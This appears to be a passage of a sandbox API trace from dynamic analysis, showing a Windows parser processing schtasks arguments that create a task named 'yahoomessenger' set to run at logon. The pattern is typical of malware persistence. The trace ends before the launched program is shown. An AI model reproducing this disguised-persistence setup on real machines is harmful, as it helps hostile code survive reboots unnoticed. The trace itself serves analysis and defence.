GetThreadLocale () returned 0x409 [0066.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.286] lstrlenW (lpString="rp") returned 2 [0066.286] GetThreadLocale () returned 0x409 [0066.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.286] lstrlenW (lpString="sc") returned 2 [0066.286] GetThreadLocale () returned 0x409 [0066.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.286] lstrlenW (lpString="mo") returned 2 [0066.286] GetThreadLocale () returned 0x409 [0066.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.286] lstrlenW (lpString="d") returned 1 [0066.286] GetThreadLocale () returned 0x409 [0066.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.286] lstrlenW (lpString="m") returned 1 [0066.286] GetThreadLocale () returned 0x409 [0066.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.286] lstrlenW (lpString="i") returned 1 [0066.286] GetThreadLocale () returned 0x409 [0066.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.286] lstrlenW (lpString="tn") returned 2 [0066.286] GetThreadLocale () returned 0x409 [0066.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.286] lstrlenW (lpString="tr") returned 2 [0066.286] GetThreadLocale () returned 0x409 [0066.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.286] lstrlenW (lpString="st") returned 2 [0066.286] GetThreadLocale () returned 0x409 [0066.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.287] lstrlenW (lpString="sd") returned 2 [0066.287] GetThreadLocale () returned 0x409 [0066.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.287] lstrlenW (lpString="ed") returned 2 [0066.287] GetThreadLocale () returned 0x409 [0066.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.287] lstrlenW (lpString="it") returned 2 [0066.287] GetThreadLocale () returned 0x409 [0066.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.287] lstrlenW (lpString="et") returned 2 [0066.287] GetThreadLocale () returned 0x409 [0066.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.287] lstrlenW (lpString="k") returned 1 [0066.287] GetThreadLocale () returned 0x409 [0066.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.287] lstrlenW (lpString="du") returned 2 [0066.287] GetThreadLocale () returned 0x409 [0066.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.287] lstrlenW (lpString="ri") returned 2 [0066.287] GetThreadLocale () returned 0x409 [0066.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.287] lstrlenW (lpString="z") returned 1 [0066.287] GetThreadLocale () returned 0x409 [0066.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.287] lstrlenW (lpString="f") returned 1 [0066.287] GetThreadLocale () returned 0x409 [0066.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.287] lstrlenW (lpString="v1") returned 2 [0066.287] GetThreadLocale () returned 0x409 [0066.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.287] lstrlenW (lpString="xml") returned 3 [0066.287] GetThreadLocale () returned 0x409 [0066.288] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.288] lstrlenW (lpString="ec") returned 2 [0066.288] GetThreadLocale () returned 0x409 [0066.288] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.288] lstrlenW (lpString="rl") returned 2 [0066.288] GetThreadLocale () returned 0x409 [0066.288] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.288] lstrlenW (lpString="delay") returned 5 [0066.288] GetThreadLocale () returned 0x409 [0066.288] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.288] lstrlenW (lpString="np") returned 2 [0066.288] SetLastError (dwErrCode=0x0) [0066.288] SetLastError (dwErrCode=0x0) [0066.288] lstrlenW (lpString="/create") returned 7 [0066.288] lstrlenW (lpString="-/") returned 2 [0066.288] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.288] lstrlenW (lpString="create") returned 6 [0066.288] lstrlenW (lpString="create") returned 6 [0066.288] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.288] lstrlenW (lpString="create") returned 6 [0066.288] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.288] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|create|") returned 8 [0066.288] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|create|") returned 8 [0066.288] lstrlenW (lpString="|create|") returned 8 [0066.288] lstrlenW (lpString="|create|") returned 8 [0066.289] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0066.289] SetLastError (dwErrCode=0x0) [0066.289] SetLastError (dwErrCode=0x0) [0066.289] SetLastError (dwErrCode=0x0) [0066.289] lstrlenW (lpString="/tn") returned 3 [0066.289] lstrlenW (lpString="-/") returned 2 [0066.289] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.289] lstrlenW (lpString="create") returned 6 [0066.289] lstrlenW (lpString="create") returned 6 [0066.289] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.289] lstrlenW (lpString="tn") returned 2 [0066.289] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.289] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|create|") returned 8 [0066.289] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tn|") returned 4 [0066.289] lstrlenW (lpString="|create|") returned 8 [0066.289] lstrlenW (lpString="|tn|") returned 4 [0066.289] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0066.289] SetLastError (dwErrCode=0x490) [0066.289] lstrlenW (lpString="?") returned 1 [0066.289] lstrlenW (lpString="?") returned 1 [0066.289] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.289] lstrlenW (lpString="tn") returned 2 [0066.289] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.289] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|?|") returned 3 [0066.289] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tn|") returned 4 [0066.290] lstrlenW (lpString="|?|") returned 3 [0066.290] lstrlenW (lpString="|tn|") returned 4 [0066.290] SetLastError (dwErrCode=0x490) [0066.290] lstrlenW (lpString="s") returned 1 [0066.290] lstrlenW (lpString="s") returned 1 [0066.290] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.290] lstrlenW (lpString="tn") returned 2 [0066.290] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.290] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|s|") returned 3 [0066.290] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tn|") returned 4 [0066.290] lstrlenW (lpString="|s|") returned 3 [0066.290] lstrlenW (lpString="|tn|") returned 4 [0066.290] SetLastError (dwErrCode=0x490) [0066.290] lstrlenW (lpString="u") returned 1 [0066.290] lstrlenW (lpString="u") returned 1 [0066.290] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.290] lstrlenW (lpString="tn") returned 2 [0066.290] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.290] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|u|") returned 3 [0066.290] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tn|") returned 4 [0066.290] lstrlenW (lpString="|u|") returned 3 [0066.290] lstrlenW (lpString="|tn|") returned 4 [0066.290] SetLastError (dwErrCode=0x490) [0066.291] lstrlenW (lpString="p") returned 1 [0066.291] lstrlenW (lpString="p") returned 1 [0066.291] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.291] lstrlenW (lpString="tn") returned 2 [0066.291] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.291] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|p|") returned 3 [0066.291] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tn|") returned 4 [0066.291] lstrlenW (lpString="|p|") returned 3 [0066.291] lstrlenW (lpString="|tn|") returned 4 [0066.291] SetLastError (dwErrCode=0x490) [0066.291] lstrlenW (lpString="ru") returned 2 [0066.291] lstrlenW (lpString="ru") returned 2 [0066.291] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.291] lstrlenW (lpString="tn") returned 2 [0066.291] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.291] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|ru|") returned 4 [0066.291] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tn|") returned 4 [0066.291] lstrlenW (lpString="|ru|") returned 4 [0066.291] lstrlenW (lpString="|tn|") returned 4 [0066.291] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0066.291] SetLastError (dwErrCode=0x490) [0066.291] lstrlenW (lpString="rp") returned 2 [0066.291] lstrlenW (lpString="rp") returned 2 [0066.291] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.292] lstrlenW (lpString="tn") returned 2 [0066.292] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.292] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rp|") returned 4 [0066.292] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tn|") returned 4 [0066.292] lstrlenW (lpString="|rp|") returned 4 [0066.292] lstrlenW (lpString="|tn|") returned 4 [0066.292] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0066.292] SetLastError (dwErrCode=0x490) [0066.292] lstrlenW (lpString="sc") returned 2 [0066.292] lstrlenW (lpString="sc") returned 2 [0066.292] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.293] lstrlenW (lpString="tn") returned 2 [0066.293] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.293] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|sc|") returned 4 [0066.294] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tn|") returned 4 [0066.294] lstrlenW (lpString="|sc|") returned 4 [0066.294] lstrlenW (lpString="|tn|") returned 4 [0066.294] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0066.294] SetLastError (dwErrCode=0x490) [0066.294] lstrlenW (lpString="mo") returned 2 [0066.294] lstrlenW (lpString="mo") returned 2 [0066.294] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.294] lstrlenW (lpString="tn") returned 2 [0066.294] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.294] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|mo|") returned 4 [0066.294] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tn|") returned 4 [0066.294] lstrlenW (lpString="|mo|") returned 4 [0066.294] lstrlenW (lpString="|tn|") returned 4 [0066.294] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0066.294] SetLastError (dwErrCode=0x490) [0066.294] lstrlenW (lpString="d") returned 1 [0066.294] lstrlenW (lpString="d") returned 1 [0066.294] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.294] lstrlenW (lpString="tn") returned 2 [0066.294] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.294] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|d|") returned 3 [0066.294] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tn|") returned 4 [0066.294] lstrlenW (lpString="|d|") returned 3 [0066.295] lstrlenW (lpString="|tn|") returned 4 [0066.295] SetLastError (dwErrCode=0x490) [0066.295] lstrlenW (lpString="m") returned 1 [0066.295] lstrlenW (lpString="m") returned 1 [0066.295] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.295] lstrlenW (lpString="tn") returned 2 [0066.295] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.295] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|m|") returned 3 [0066.295] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tn|") returned 4 [0066.295] lstrlenW (lpString="|m|") returned 3 [0066.295] lstrlenW (lpString="|tn|") returned 4 [0066.295] SetLastError (dwErrCode=0x490) [0066.295] lstrlenW (lpString="i") returned 1 [0066.295] lstrlenW (lpString="i") returned 1 [0066.295] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.295] lstrlenW (lpString="tn") returned 2 [0066.295] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.295] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|i|") returned 3 [0066.295] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tn|") returned 4 [0066.295] lstrlenW (lpString="|i|") returned 3 [0066.295] lstrlenW (lpString="|tn|") returned 4 [0066.295] SetLastError (dwErrCode=0x490) [0066.295] lstrlenW (lpString="tn") returned 2 [0066.295] lstrlenW (lpString="tn") returned 2 [0066.295] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.296] lstrlenW (lpString="tn") returned 2 [0066.296] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.296] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tn|") returned 4 [0066.296] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tn|") returned 4 [0066.296] lstrlenW (lpString="|tn|") returned 4 [0066.296] lstrlenW (lpString="|tn|") returned 4 [0066.296] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0066.296] SetLastError (dwErrCode=0x0) [0066.296] SetLastError (dwErrCode=0x0) [0066.296] lstrlenW (lpString="yahoomessenger") returned 14 [0066.296] lstrlenW (lpString="-/") returned 2 [0066.296] StrChrIW (lpStart="-/", wMatch=0x79) returned 0x0 [0066.296] SetLastError (dwErrCode=0x490) [0066.296] SetLastError (dwErrCode=0x490) [0066.296] SetLastError (dwErrCode=0x0) [0066.296] lstrlenW (lpString="yahoomessenger") returned 14 [0066.296] StrChrIW (lpStart="yahoomessenger", wMatch=0x3a) returned 0x0 [0066.296] SetLastError (dwErrCode=0x490) [0066.296] SetLastError (dwErrCode=0x0) [0066.296] lstrlenW (lpString="yahoomessenger") returned 14 [0066.296] SetLastError (dwErrCode=0x0) [0066.296] SetLastError (dwErrCode=0x0) [0066.296] lstrlenW (lpString="/sc") returned 3 [0066.296] lstrlenW (lpString="-/") returned 2 [0066.296] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.296] lstrlenW (lpString="create") returned 6 [0066.297] lstrlenW (lpString="create") returned 6 [0066.297] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.297] lstrlenW (lpString="sc") returned 2 [0066.297] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.297] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|create|") returned 8 [0066.297] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|sc|") returned 4 [0066.297] lstrlenW (lpString="|create|") returned 8 [0066.297] lstrlenW (lpString="|sc|") returned 4 [0066.297] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0066.297] SetLastError (dwErrCode=0x490) [0066.297] lstrlenW (lpString="?") returned 1 [0066.297] lstrlenW (lpString="?") returned 1 [0066.297] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.297] lstrlenW (lpString="sc") returned 2 [0066.297] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.297] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|?|") returned 3 [0066.297] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|sc|") returned 4 [0066.297] lstrlenW (lpString="|?|") returned 3 [0066.297] lstrlenW (lpString="|sc|") returned 4 [0066.297] SetLastError (dwErrCode=0x490) [0066.297] lstrlenW (lpString="s") returned 1 [0066.297] lstrlenW (lpString="s") returned 1 [0066.297] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.298] lstrlenW (lpString="sc") returned 2 [0066.298] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.298] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|s|") returned 3 [0066.298] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|sc|") returned 4 [0066.298] lstrlenW (lpString="|s|") returned 3 [0066.298] lstrlenW (lpString="|sc|") returned 4 [0066.298] SetLastError (dwErrCode=0x490) [0066.298] lstrlenW (lpString="u") returned 1 [0066.298] lstrlenW (lpString="u") returned 1 [0066.298] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.298] lstrlenW (lpString="sc") returned 2 [0066.298] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.298] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|u|") returned 3 [0066.298] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|sc|") returned 4 [0066.298] lstrlenW (lpString="|u|") returned 3 [0066.298] lstrlenW (lpString="|sc|") returned 4 [0066.298] SetLastError (dwErrCode=0x490) [0066.298] lstrlenW (lpString="p") returned 1 [0066.298] lstrlenW (lpString="p") returned 1 [0066.298] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.298] lstrlenW (lpString="sc") returned 2 [0066.298] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.298] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|p|") returned 3 [0066.299] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|sc|") returned 4 [0066.299] lstrlenW (lpString="|p|") returned 3 [0066.299] lstrlenW (lpString="|sc|") returned 4 [0066.299] SetLastError (dwErrCode=0x490) [0066.299] lstrlenW (lpString="ru") returned 2 [0066.299] lstrlenW (lpString="ru") returned 2 [0066.299] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.299] lstrlenW (lpString="sc") returned 2 [0066.299] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.299] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|ru|") returned 4 [0066.299] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|sc|") returned 4 [0066.299] lstrlenW (lpString="|ru|") returned 4 [0066.299] lstrlenW (lpString="|sc|") returned 4 [0066.299] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0066.299] SetLastError (dwErrCode=0x490) [0066.299] lstrlenW (lpString="rp") returned 2 [0066.299] lstrlenW (lpString="rp") returned 2 [0066.299] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.299] lstrlenW (lpString="sc") returned 2 [0066.299] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.299] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rp|") returned 4 [0066.299] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|sc|") returned 4 [0066.299] lstrlenW (lpString="|rp|") returned 4 [0066.299] lstrlenW (lpString="|sc|") returned 4 [0066.300] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0066.300] SetLastError (dwErrCode=0x490) [0066.300] lstrlenW (lpString="sc") returned 2 [0066.300] lstrlenW (lpString="sc") returned 2 [0066.300] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.300] lstrlenW (lpString="sc") returned 2 [0066.300] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.300] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|sc|") returned 4 [0066.300] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|sc|") returned 4 [0066.300] lstrlenW (lpString="|sc|") returned 4 [0066.300] lstrlenW (lpString="|sc|") returned 4 [0066.300] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0066.300] SetLastError (dwErrCode=0x0) [0066.300] SetLastError (dwErrCode=0x0) [0066.300] lstrlenW (lpString="ONLOGON") returned 7 [0066.300] lstrlenW (lpString="-/") returned 2 [0066.300] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0066.300] SetLastError (dwErrCode=0x490) [0066.300] SetLastError (dwErrCode=0x490) [0066.300] SetLastError (dwErrCode=0x0) [0066.300] lstrlenW (lpString="ONLOGON") returned 7 [0066.300] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0066.300] SetLastError (dwErrCode=0x490) [0066.300] SetLastError (dwErrCode=0x0) [0066.300] GetProcessHeap () returned 0x240000 [0066.301] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25d720 [0066.301] _memicmp (_Buf1=0x25d720, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.301] lstrlenW (lpString="ONLOGON") returned 7 [0066.301] GetProcessHeap () returned 0x240000 [0066.301] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25d740 [0066.301] lstrlenW (lpString="ONLOGON") returned 7 [0066.301] lstrlenW (lpString=" \x09") returned 2 [0066.301] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0066.301] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0066.301] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0066.301] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0066.301] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0066.301] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0066.301] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0066.301] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0066.301] GetLastError () returned 0x0 [0066.301] lstrlenW (lpString="ONLOGON") returned 7 [0066.301] lstrlenW (lpString="ONLOGON") returned 7 [0066.301] SetLastError (dwErrCode=0x0) [0066.301] SetLastError (dwErrCode=0x0) [0066.301] lstrlenW (lpString="/tr") returned 3 [0066.301] lstrlenW (lpString="-/") returned 2 [0066.301] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.301] lstrlenW (lpString="create") returned 6 [0066.301] lstrlenW (lpString="create") returned 6 [0066.301] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.302] lstrlenW (lpString="tr") returned 2 [0066.302] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.302] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|create|") returned 8 [0066.302] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tr|") returned 4 [0066.302] lstrlenW (lpString="|create|") returned 8 [0066.302] lstrlenW (lpString="|tr|") returned 4 [0066.302] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0066.302] SetLastError (dwErrCode=0x490) [0066.302] lstrlenW (lpString="?") returned 1 [0066.302] lstrlenW (lpString="?") returned 1 